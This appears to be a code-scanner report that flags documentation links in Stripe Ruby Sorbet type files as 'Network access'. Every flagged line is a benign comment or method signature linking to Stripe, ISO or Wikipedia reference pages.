    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 287
    sig { returns(T.any(String, ::Stripe::Issuing::Transaction)) }       def transaction; end       # [Treasury](https://docs.stripe.com/api/treasury) details related to this dispute if it was created on a [FinancialAccount](/docs/api/treasury/
  • Network accessline 288
    def transaction; end       # [Treasury](https://docs.stripe.com/api/treasury) details related to this dispute if it was created on a [FinancialAccount](/docs/api/treasury/financial_accounts       sig { returns(T.nilable(Treasury)) }
  • Network accessline 289
    # [Treasury](https://docs.stripe.com/api/treasury) details related to this dispute if it was created on a [FinancialAccount](/docs/api/treasury/financial_accounts
  • Network accessline 290
    sig { returns(T.nilable(Treasury)) }       def treasury; end       # Creates an Issuing Dispute object. Individual pieces of evidence within the evidence object are optional at this point. Stripe only validates that required evidence is pre
  • Network accessline 291
    def treasury; end       # Creates an Issuing Dispute object. Individual pieces of evidence within the evidence object are optional at this point. Stripe only validates that required evidence is present during submission. Refer to [Dispute r
  • Network accessline 292
    # Creates an Issuing Dispute object. Individual pieces of evidence within the evidence object are optional at this point. Stripe only validates that required evidence is present during submission. Refer to [Dispute reasons and evidence](htt
  • Network accessline 304
    # Submits an Issuing Dispute to the card network. Stripe validates that all evidence fields required for the dispute's reason are present. For more details, see [Dispute reasons and evidence](https://docs.stripe.com/docs/issuing/purchases/d
  • Network accessline 310
    # Submits an Issuing Dispute to the card network. Stripe validates that all evidence fields required for the dispute's reason are present. For more details, see [Dispute reasons and evidence](https://docs.stripe.com/docs/issuing/purchases/d

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/issuing/personalization_design.rbi

  • Network accessline 73
    sig { returns(T.nilable(String)) }       def lookup_key; end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in 
  • Network accessline 74
    def lookup_key; end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.       sig { returns(
  • Network accessline 75
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/issuing/token.rbi

  • Network accessline 5
    module Stripe   module Issuing     # An issuing token object is created when an issued card is added to a digital wallet. As a [card issuer](https://docs.stripe.com/issuing), you can [view and manage these tokens](https://docs.stripe.com/is
  • Network accessline 6
    module Issuing     # An issuing token object is created when an issued card is added to a digital wallet. As a [card issuer](https://docs.stripe.com/issuing), you can [view and manage these tokens](https://docs.stripe.com/issuing/controls/t
  • Network accessline 7
    # An issuing token object is created when an issued card is added to a digital wallet. As a [card issuer](https://docs.stripe.com/issuing), you can [view and manage these tokens](https://docs.stripe.com/issuing/controls/token-management) th

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/issuing/transaction.rbi

  • Network accessline 5
    module Stripe   module Issuing     # Any use of an [issued card](https://docs.stripe.com/issuing) that results in funds entering or leaving
  • Network accessline 6
    module Issuing     # Any use of an [issued card](https://docs.stripe.com/issuing) that results in funds entering or leaving     # your Stripe account, such as a completed purchase or refund, is represented by an Issuing
  • Network accessline 7
    # Any use of an [issued card](https://docs.stripe.com/issuing) that results in funds entering or leaving
  • Network accessline 9
    # `Transaction` object.     #     # Related guide: [Issued card transactions](https://docs.stripe.com/issuing/purchases/transactions)
  • Network accessline 10
    #     # Related guide: [Issued card transactions](https://docs.stripe.com/issuing/purchases/transactions)     class Transaction < APIResource
  • Network accessline 11
    # Related guide: [Issued card transactions](https://docs.stripe.com/issuing/purchases/transactions)
  • Network accessline 26
    end       class MerchantData < ::Stripe::StripeObject         # A categorization of the seller's type of business. See our [merchant categories guide](https://docs.stripe.com/issuing/merchant-categories) for a list of possible values.
  • Network accessline 27
    class MerchantData < ::Stripe::StripeObject         # A categorization of the seller's type of business. See our [merchant categories guide](https://docs.stripe.com/issuing/merchant-categories) for a list of possible values.         sig { r
  • Network accessline 28
    # A categorization of the seller's type of business. See our [merchant categories guide](https://docs.stripe.com/issuing/merchant-categories) for a list of possible values.
  • Network accessline 233
    end         class Fuel < ::Stripe::StripeObject           # [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased.
  • Network accessline 234
    class Fuel < ::Stripe::StripeObject           # [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased.           sig { returns(T.nilable(String)
  • Network accessline 235
    # [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased.
  • Network accessline 321
    end       class Treasury < ::Stripe::StripeObject         # The Treasury [ReceivedCredit](https://docs.stripe.com/api/treasury/received_credits) representing this Issuing transaction if it is a refund
  • Network accessline 322
    class Treasury < ::Stripe::StripeObject         # The Treasury [ReceivedCredit](https://docs.stripe.com/api/treasury/received_credits) representing this Issuing transaction if it is a refund         sig { returns(T.nilable(String)) }
  • Network accessline 323
    # The Treasury [ReceivedCredit](https://docs.stripe.com/api/treasury/received_credits) representing this Issuing transaction if it is a refund
  • Network accessline 324
    sig { returns(T.nilable(String)) }         def received_credit; end         # The Treasury [ReceivedDebit](https://docs.stripe.com/api/treasury/received_debits) representing this Issuing transaction if it is a capture
  • Network accessline 325
    def received_credit; end         # The Treasury [ReceivedDebit](https://docs.stripe.com/api/treasury/received_debits) representing this Issuing transaction if it is a capture         sig { returns(T.nilable(String)) }
  • Network accessline 326
    # The Treasury [ReceivedDebit](https://docs.stripe.com/api/treasury/received_debits) representing this Issuing transaction if it is a capture
  • Network accessline 334
    end       end       # The transaction amount, which will be reflected in your balance. This amount is in your currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 335
    end       # The transaction amount, which will be reflected in your balance. This amount is in your currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).       sig { returns(Integer) }
  • Network accessline 336
    # The transaction amount, which will be reflected in your balance. This amount is in your currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 337
    sig { returns(Integer) }       def amount; end       # Detailed breakdown of amount components. These amounts are denominated in `currency` and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 338
    def amount; end       # Detailed breakdown of amount components. These amounts are denominated in `currency` and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).       sig { returns(T.nilable(AmountDetails))
  • Network accessline 339
    # Detailed breakdown of amount components. These amounts are denominated in `currency` and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 343
    sig { returns(T.nilable(T.any(String, ::Stripe::Issuing::Authorization))) }       def authorization; end       # ID of the [balance transaction](https://docs.stripe.com/api/balance_transactions) associated with this transaction.
  • Network accessline 344
    def authorization; end       # ID of the [balance transaction](https://docs.stripe.com/api/balance_transactions) associated with this transaction.       sig { returns(T.nilable(T.any(String, ::Stripe::BalanceTransaction))) }
  • Network accessline 345
    # ID of the [balance transaction](https://docs.stripe.com/api/balance_transactions) associated with this transaction.
  • Network accessline 355
    sig { returns(Integer) }       def created; end       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 356
    def created; end       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).       sig { returns(String) }
  • Network accessline 357
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 367
    sig { returns(T::Boolean) }       def livemode; end       # The amount that the merchant will receive, denominated in `merchant_currency` and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). It will be diffe
  • Network accessline 368
    def livemode; end       # The amount that the merchant will receive, denominated in `merchant_currency` and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). It will be different from `amount` if the merchant
  • Network accessline 369
    # The amount that the merchant will receive, denominated in `merchant_currency` and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). It will be different from `amount` if the merchant is taking payment in a 
  • Network accessline 376
    sig { returns(MerchantData) }       def merchant_data; end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a 
  • Network accessline 377
    def merchant_data; end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.       sig { retur
  • Network accessline 378
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 388
    sig { returns(T.nilable(PurchaseDetails)) }       def purchase_details; end       # [Token](https://docs.stripe.com/api/issuing/tokens/object) object used for this transaction. If a network token was not used for this transaction, this fiel
  • Network accessline 389
    def purchase_details; end       # [Token](https://docs.stripe.com/api/issuing/tokens/object) object used for this transaction. If a network token was not used for this transaction, this field will be null.       sig { returns(T.nilable(T.an
  • Network accessline 390
    # [Token](https://docs.stripe.com/api/issuing/tokens/object) object used for this transaction. If a network token was not used for this transaction, this field will be null.
  • Network accessline 391
    sig { returns(T.nilable(T.any(String, ::Stripe::Issuing::Token))) }       def token; end       # [Treasury](https://docs.stripe.com/api/treasury) details related to this transaction if it was created on a [FinancialAccount](/docs/api/treasu
  • Network accessline 392
    def token; end       # [Treasury](https://docs.stripe.com/api/treasury) details related to this transaction if it was created on a [FinancialAccount](/docs/api/treasury/financial_accounts       sig { returns(T.nilable(Treasury)) }
  • Network accessline 393
    # [Treasury](https://docs.stripe.com/api/treasury) details related to this transaction if it was created on a [FinancialAccount](/docs/api/treasury/financial_accounts

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/line_item.rbi

  • Network accessline 10
    sig { returns(Integer) }       def amount; end       # A discount represents the actual application of a [coupon](https://api.stripe.com#coupons) or [promotion code](https://api.stripe.com#promotion_codes).
  • Network accessline 11
    def amount; end       # A discount represents the actual application of a [coupon](https://api.stripe.com#coupons) or [promotion code](https://api.stripe.com#promotion_codes).       # It contains information about when the discount began, w
  • Network accessline 12
    # A discount represents the actual application of a [coupon](https://api.stripe.com#coupons) or [promotion code](https://api.stripe.com#promotion_codes).
  • Network accessline 13
    # It contains information about when the discount began, when it will end, and what it is applied to.       #       # Related guide: [Applying discounts to subscriptions](https://docs.stripe.com/billing/subscriptions/discounts)
  • Network accessline 14
    #       # Related guide: [Applying discounts to subscriptions](https://docs.stripe.com/billing/subscriptions/discounts)       sig { returns(::Stripe::Discount) }
  • Network accessline 15
    # Related guide: [Applying discounts to subscriptions](https://docs.stripe.com/billing/subscriptions/discounts)
  • Network accessline 57
    sig { returns(Integer) }     def amount_total; end     # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 58
    def amount_total; end     # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).     sig { returns(String) }
  • Network accessline 59
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 69
    sig { returns(String) }     def id; end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 70
    def id; end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.     sig { returns(T.nilable(T:
  • Network accessline 71
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/login_link.rbi

  • Network accessline 5
    module Stripe   # Login Links are single-use URLs that takes an Express account to the login page for their Stripe dashboard.   # A Login Link differs from an [Account Link](https://docs.stripe.com/api/account_links) in that it takes the us
  • Network accessline 6
    # Login Links are single-use URLs that takes an Express account to the login page for their Stripe dashboard.   # A Login Link differs from an [Account Link](https://docs.stripe.com/api/account_links) in that it takes the user directly to t
  • Network accessline 7
    # A Login Link differs from an [Account Link](https://docs.stripe.com/api/account_links) in that it takes the user directly to their [Express dashboard for the specified account](https://docs.stripe.com/connect/integrate-express-dashboard#c

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/payment_attempt_record.rbi

  • Network accessline 10
    class PaymentAttemptRecord < APIResource     class Amount < ::Stripe::StripeObject       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/d
  • Network accessline 11
    class Amount < ::Stripe::StripeObject       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).       sig { returns(String) 
  • Network accessline 12
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 13
    sig { returns(String) }       def currency; end       # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY.
  • Network accessline 14
    def currency; end       # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY.       sig { returns(Integer) }
  • Network accessline 15
    # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY.
  • Network accessline 24
    end     class AmountAuthorized < ::Stripe::StripeObject       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 25
    class AmountAuthorized < ::Stripe::StripeObject       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).       sig { return
  • Network accessline 26
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 27
    sig { returns(String) }       def currency; end       # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY.
  • Network accessline 28
    def currency; end       # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY.       sig { returns(Integer) }
  • Network accessline 29
    # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY.
  • Network accessline 38
    end     class AmountCanceled < ::Stripe::StripeObject       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 39
    class AmountCanceled < ::Stripe::StripeObject       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).       sig { returns(
  • Network accessline 40
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 41
    sig { returns(String) }       def currency; end       # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY.
  • Network accessline 42
    def currency; end       # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY.       sig { returns(Integer) }
  • Network accessline 43
    # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY.
  • Network accessline 52
    end     class AmountFailed < ::Stripe::StripeObject       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 53
    class AmountFailed < ::Stripe::StripeObject       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).       sig { returns(St
  • Network accessline 54
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 55
    sig { returns(String) }       def currency; end       # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY.
  • Network accessline 56
    def currency; end       # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY.       sig { returns(Integer) }
  • Network accessline 57
    # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY.
  • Network accessline 66
    end     class AmountGuaranteed < ::Stripe::StripeObject       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 67
    class AmountGuaranteed < ::Stripe::StripeObject       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).       sig { return
  • Network accessline 68
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 69
    sig { returns(String) }       def currency; end       # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY.
  • Network accessline 70
    def currency; end       # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY.       sig { returns(Integer) }
  • Network accessline 71
    # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY.
  • Network accessline 80
    end     class AmountRefunded < ::Stripe::StripeObject       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 81
    class AmountRefunded < ::Stripe::StripeObject       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).       sig { returns(
  • Network accessline 82
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 83
    sig { returns(String) }       def currency; end       # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY.
  • Network accessline 84
    def currency; end       # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY.       sig { returns(Integer) }
  • Network accessline 85
    # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY.
  • Network accessline 94
    end     class AmountRequested < ::Stripe::StripeObject       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 95
    class AmountRequested < ::Stripe::StripeObject       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).       sig { returns
  • Network accessline 96
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 97
    sig { returns(String) }       def currency; end       # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY.
  • Network accessline 98
    def currency; end       # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY.       sig { returns(Integer) }
  • Network accessline 99
    # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY.
  • Network accessline 204
    end       class Affirm < ::Stripe::StripeObject         # ID of the [location](https://docs.stripe.com/api/terminal/locations) that this transaction's reader is assigned to.
  • Network accessline 205
    class Affirm < ::Stripe::StripeObject         # ID of the [location](https://docs.stripe.com/api/terminal/locations) that this transaction's reader is assigned to.         sig { returns(T.nilable(String)) }
  • Network accessline 206
    # ID of the [location](https://docs.stripe.com/api/terminal/locations) that this transaction's reader is assigned to.
  • Network accessline 207
    sig { returns(T.nilable(String)) }         def location; end         # ID of the [reader](https://docs.stripe.com/api/terminal/readers) this transaction was made on.
  • Network accessline 208
    def location; end         # ID of the [reader](https://docs.stripe.com/api/terminal/readers) this transaction was made on.         sig { returns(T.nilable(String)) }
  • Network accessline 209
    # ID of the [reader](https://docs.stripe.com/api/terminal/readers) this transaction was made on.
  • Network accessline 426
    sig { returns(T.nilable(String)) }           def city; end           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 427
    def city; end           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).           sig { returns(T.nilable(String)) }
  • Network accessline 428
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 438
    sig { returns(T.nilable(String)) }           def postal_code; end           # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 439
    def postal_code; end           # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).           sig { returns(T.nilable(String)) }
  • Network accessline 440
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 756
    sig { returns(T.nilable(String)) }         def brand; end         # The [product code](https://stripe.com/docs/card-product-codes) that identifies the specific program or product associated with a card.
  • Network accessline 757
    def brand; end         # The [product code](https://stripe.com/docs/card-product-codes) that identifies the specific program or product associated with a card.         sig { returns(T.nilable(String)) }
  • Network accessline 758
    # The [product code](https://stripe.com/docs/card-product-codes) that identifies the specific program or product associated with a card.
  • Network accessline 762
    sig { returns(T.nilable(Integer)) }         def capture_before; end         # The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characte
  • Network accessline 763
    def capture_before; end         # The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characters and first/last name separator (`/`). In s
  • Network accessline 764
    # The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characters and first/last name separator (`/`). In some cases, the cardholder name m
  • Network accessline 794
    sig { returns(T.nilable(String)) }         def iin; end         # Whether this [PaymentIntent](https://docs.stripe.com/api/payment_intents) is eligible for incremental authorizations. Request support using [request_incremental_authorization
  • Network accessline 795
    def iin; end         # Whether this [PaymentIntent](https://docs.stripe.com/api/payment_intents) is eligible for incremental authorizations. Request support using [request_incremental_authorization_support](https://docs.stripe.com/api/payme
  • Network accessline 796
    # Whether this [PaymentIntent](https://docs.stripe.com/api/payment_intents) is eligible for incremental authorizations. Request support using [request_incremental_authorization_support](https://docs.stripe.com/api/payment_intents/create#cre
  • Network accessline 1028
    sig { returns(T.nilable(String)) }         def brand; end         # The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characters and fir
  • Network accessline 1029
    def brand; end         # The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characters and first/last name separator (`/`). In some cases
  • Network accessline 1030
    # The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characters and first/last name separator (`/`). In some cases, the cardholder name m
  • Network accessline 1349
    end       class Paynow < ::Stripe::StripeObject         # ID of the [location](https://docs.stripe.com/api/terminal/locations) that this transaction's reader is assigned to.
  • Network accessline 1350
    class Paynow < ::Stripe::StripeObject         # ID of the [location](https://docs.stripe.com/api/terminal/locations) that this transaction's reader is assigned to.         sig { returns(T.nilable(String)) }
  • Network accessline 1351
    # ID of the [location](https://docs.stripe.com/api/terminal/locations) that this transaction's reader is assigned to.
  • Network accessline 1352
    sig { returns(T.nilable(String)) }         def location; end         # ID of the [reader](https://docs.stripe.com/api/terminal/readers) this transaction was made on.
  • Network accessline 1353
    def location; end         # ID of the [reader](https://docs.stripe.com/api/terminal/readers) this transaction was made on.         sig { returns(T.nilable(String)) }
  • Network accessline 1354
    # ID of the [reader](https://docs.stripe.com/api/terminal/readers) this transaction was made on.
  • Network accessline 1564
    sig { returns(T.nilable(String)) }         def last4; end         # Find the ID of the mandate used for this payment under the [payment_method_details.sepa_debit.mandate](https://docs.stripe.com/api/charges/object#charge_object-payment_meth
  • Network accessline 1565
    def last4; end         # Find the ID of the mandate used for this payment under the [payment_method_details.sepa_debit.mandate](https://docs.stripe.com/api/charges/object#charge_object-payment_method_details-sepa_debit-mandate) property on 
  • Network accessline 1566
    # Find the ID of the mandate used for this payment under the [payment_method_details.sepa_debit.mandate](https://docs.stripe.com/api/charges/object#charge_object-payment_method_details-sepa_debit-mandate) property on the Charge. Use this ma
  • Network accessline 1691
    sig { returns(T.nilable(String)) }         def fingerprint; end         # ID of the [location](https://docs.stripe.com/api/terminal/locations) that this transaction's reader is assigned to.
  • Network accessline 1692
    def fingerprint; end         # ID of the [location](https://docs.stripe.com/api/terminal/locations) that this transaction's reader is assigned to.         sig { returns(T.nilable(String)) }
  • Network accessline 1693
    # ID of the [location](https://docs.stripe.com/api/terminal/locations) that this transaction's reader is assigned to.
  • Network accessline 1694
    sig { returns(T.nilable(String)) }         def location; end         # ID of the [reader](https://docs.stripe.com/api/terminal/readers) this transaction was made on.
  • Network accessline 1695
    def location; end         # ID of the [reader](https://docs.stripe.com/api/terminal/readers) this transaction was made on.         sig { returns(T.nilable(String)) }
  • Network accessline 1696
    # ID of the [reader](https://docs.stripe.com/api/terminal/readers) this transaction was made on.
  • Network accessline 1885
    sig { returns(T.nilable(Twint)) }       def twint; end       # The type of transaction-specific details of the payment method used in the payment. See [PaymentMethod.type](https://docs.stripe.com/api/payment_methods/object#payment_method_ob
  • Network accessline 1886
    def twint; end       # The type of transaction-specific details of the payment method used in the payment. See [PaymentMethod.type](https://docs.stripe.com/api/payment_methods/object#payment_method_object-type) for the full list of possible
  • Network accessline 1887
    # The type of transaction-specific details of the payment method used in the payment. See [PaymentMethod.type](https://docs.stripe.com/api/payment_methods/object#payment_method_object-type) for the full list of possible types.
  • Network accessline 2001
    sig { returns(T.nilable(String)) }         def city; end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 2002
    def city; end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 2003
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 2013
    sig { returns(T.nilable(String)) }         def postal_code; end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 2014
    def postal_code; end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 2015
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 2081
    sig { returns(T::Boolean) }     def livemode; end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured 
  • Network accessline 2082
    def livemode; end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.     sig { returns(T::Has
  • Network accessline 2083
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/payment_intent.rbi

  • Network accessline 10
    #   # A PaymentIntent transitions through   # [multiple statuses](https://docs.stripe.com/payments/paymentintents/lifecycle)
  • Network accessline 11
    # A PaymentIntent transitions through   # [multiple statuses](https://docs.stripe.com/payments/paymentintents/lifecycle)   # throughout its lifetime as it interfaces with Stripe.js to perform
  • Network accessline 12
    # [multiple statuses](https://docs.stripe.com/payments/paymentintents/lifecycle)
  • Network accessline 14
    # authentication flows and ultimately creates at most one successful charge.   #   # Related guide: [Payment Intents API](https://docs.stripe.com/payments/payment-intents)
  • Network accessline 15
    #   # Related guide: [Payment Intents API](https://docs.stripe.com/payments/payment-intents)   class PaymentIntent < APIResource
  • Network accessline 16
    # Related guide: [Payment Intents API](https://docs.stripe.com/payments/payment-intents)
  • Network accessline 18
    class AmountDetails < ::Stripe::StripeObject       class Shipping < ::Stripe::StripeObject         # If a physical good is being shipped, the cost of shipping represented in the [smallest currency unit](https://docs.stripe.com/currencies#ze
  • Network accessline 19
